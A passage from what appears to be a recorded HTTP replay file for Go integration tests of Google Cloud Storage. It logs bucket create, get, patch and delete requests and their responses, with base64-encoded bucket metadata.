icHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDYvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNi9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNiIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImNvcnMiOlt7Im9yaWdpbiI6WyJzb21lLW9yaWdpbi5jb20iXSwibWV0aG9kIjpbIlBPU1QiXSwicmVzcG9uc2VIZWFkZXIiOlsiZm9vLWJhciJdLCJtYXhBZ2VTZWNvbmRzIjozNjAwfV0sInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "31ee7f558375c66a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0006?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:32 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up70C3kZ6tTqgyRHbTyjXA5pLWMohouKPHCPhexU8UuWw0cAmLxjHcwaa2xBT-Soq-CLyVxoWeEkxFMhRqqK87xaM38Q2hSjGkeXEhmhoZ3iy5s6D8" - ] - }, - "Body": "" - } - }, - { - "ID": "72458186a1839a5a", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0005?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:32 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UpsiYUGF50kaeS-bMsAR51mlDVCwH9HwmqU1hCFSwzrMDgCmGF46ZuQGfqWx4SJprlBWIxaNwT_EQMKQrTQARvFyee5ZOJq21xZUsVEc1iBW0KkiVk" - ] - }, - "Body": "" - } - }, - { - "ID": "20fcdf5cb9502a64", - "Request": { - "Method": "DELETE", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0004?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 204, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "0" - ], - "Content-Type": [ - "application/json" - ], - "Date": [ - "Thu, 02 May 2019 22:25:33 GMT" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Up8ALydoTkq1rLUaKiwrh6YEhczTwI3VX8iKuCNoqr6N2BSBvtxD2Qc9De99Svk_4EX82rynlWctsS2F9Ffr4WuDby30_W1Fl7TMWFZGWfo5Wc_nfI" - ] - }, - "Body": "" - } - }, - { - "ID": "ace99589753f3389", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b?alt=json\u0026prettyPrint=false\u0026project=deklerk-sandbox", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "60" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3In0K" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "485" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:33 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UotVHCMZG4hcbTx20gUPBV1LsUxIAVuDym9d21c2In0VVLzBxOM_DAULuLEd9LTMmpNg6A7yW4yqEsnRlHhAaMbpe7MwAWbadF2gJJ2M7uGdA-rcLQ" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMy43MDVaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiaWFtQ29uZmlndXJhdGlvbiI6eyJidWNrZXRQb2xpY3lPbmx5Ijp7ImVuYWJsZWQiOmZhbHNlfX0sImxvY2F0aW9uIjoiVVMiLCJzdG9yYWdlQ2xhc3MiOiJTVEFOREFSRCIsImV0YWciOiJDQUU9In0=" - } - }, - { - "ID": "466aeae01d2d2933", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2431" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:34 GMT" - ], - "Etag": [ - "CAE=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:34 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UoVuGt1j5ranQuT0nS5bzOIcVM5M42RwIHcF2mKK_H1ctJEqC_djWDMm00OBFXY4yxsTFdQ1ZYjWVnFq8GhUAWUsvsj4_B9Ur8MzJQcbAzG9vHgIjs" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozMy43MDVaIiwibWV0YWdlbmVyYXRpb24iOiIxIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FFPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUU9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBRT0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUU9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBRT0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwiZXRhZyI6IkNBRT0ifQ==" - } - }, - { - "ID": "34d8505e483be050", - "Request": { - "Method": "PATCH", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "31" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZWZhdWx0RXZlbnRCYXNlZEhvbGQiOnRydWV9Cg==" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "2460" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:34 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Uo5A5V7O5JcpElASqEqUZ_UiEjPa-39PCu3SwJk8EE9cHfyeVL5DWQkAss8k9iRx7YjD4ZC7WnzE_ENz95PuKdccjgzeC2GLFAUzA-sR2iEf-lNil4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNC42MzJaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6InN0b3JhZ2UjYnVja2V0QWNjZXNzQ29udHJvbCIsImlkIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvYWNsL3Byb2plY3QtZWRpdG9ycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNy9hY2wvcHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsImJ1Y2tldCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsImVudGl0eSI6InByb2plY3Qtdmlld2Vycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiUkVBREVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJ2aWV3ZXJzIn0sImV0YWciOiJDQUk9In1dLCJkZWZhdWx0T2JqZWN0QWNsIjpbeyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJvd25lcnMifSwiZXRhZyI6IkNBST0ifSx7ImtpbmQiOiJzdG9yYWdlI29iamVjdEFjY2Vzc0NvbnRyb2wiLCJlbnRpdHkiOiJwcm9qZWN0LWVkaXRvcnMtNDk2MTY5NjAxNzE0Iiwicm9sZSI6Ik9XTkVSIiwicHJvamVjdFRlYW0iOnsicHJvamVjdE51bWJlciI6IjQ5NjE2OTYwMTcxNCIsInRlYW0iOiJlZGl0b3JzIn0sImV0YWciOiJDQUk9In0seyJraW5kIjoic3RvcmFnZSNvYmplY3RBY2Nlc3NDb250cm9sIiwiZW50aXR5IjoicHJvamVjdC12aWV3ZXJzLTQ5NjE2OTYwMTcxNCIsInJvbGUiOiJSRUFERVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6InZpZXdlcnMifSwiZXRhZyI6IkNBST0ifV0sImlhbUNvbmZpZ3VyYXRpb24iOnsiYnVja2V0UG9saWN5T25seSI6eyJlbmFibGVkIjpmYWxzZX19LCJvd25lciI6eyJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQifSwibG9jYXRpb24iOiJVUyIsImRlZmF1bHRFdmVudEJhc2VkSG9sZCI6dHJ1ZSwic3RvcmFnZUNsYXNzIjoiU1RBTkRBUkQiLCJldGFnIjoiQ0FJPSJ9" - } - }, - { - "ID": "728568d994e275c7", - "Request": { - "Method": "GET", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0007?alt=json\u0026prettyPrint=false\u0026projection=full", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "", - "BodyParts": [ - "" - ] - }, - "Response": { - "StatusCode": 200, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "private, max-age=0, must-revalidate, no-transform" - ], - "Content-Length": [ - "2460" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:34 GMT" - ], - "Etag": [ - "CAI=" - ], - "Expires": [ - "Thu, 02 May 2019 22:25:34 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrOVH8W8OREkTrF0UKlK3dOp_AAbRF7Rsx16Zbjdl5caBObFjXETVORm7o-d-YYcPIjcrx1mKcQwxHCIXpdE5P6baH6WeY3Wc3JVF7UcQnKna-a_U4" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNidWNrZXQiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInNlbGZMaW5rIjoiaHR0cHM6Ly93d3cuZ29vZ2xlYXBpcy5jb20vc3RvcmFnZS92MS9iL2dvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwNyIsInByb2plY3ROdW1iZXIiOiI0OTYxNjk2MDE3MTQiLCJuYW1lIjoiZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3IiwidGltZUNyZWF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjMzLjcwNVoiLCJ1cGRhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNTozNC42MzJaIiwibWV0YWdlbmVyYXRpb24iOiIyIiwiYWNsIjpbeyJraW5kIjoic3RvcmFnZSNidWNrZXRBY2Nlc3NDb250cm9sIiwiaWQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDcvcHJvamVjdC1vd25lcnMtNDk2MTY5NjAxNzE0Iiwic2VsZkxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDA3L2FjbC9wcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDciLCJlbnRpdHkiOiJwcm9qZWN0LW93bmVycy00OTYxNjk2MDE3MTQiLCJyb2xlIjoiT1dORVIiLCJwcm9qZWN0VGVhbSI6eyJwcm9qZWN0TnVtYmVyIjoiNDk2MTY5NjAxNzE0IiwidGVhbSI6Im93bmVycyJ9LCJldGFnIjoiQ0FJPSJ9LHsia2luZCI6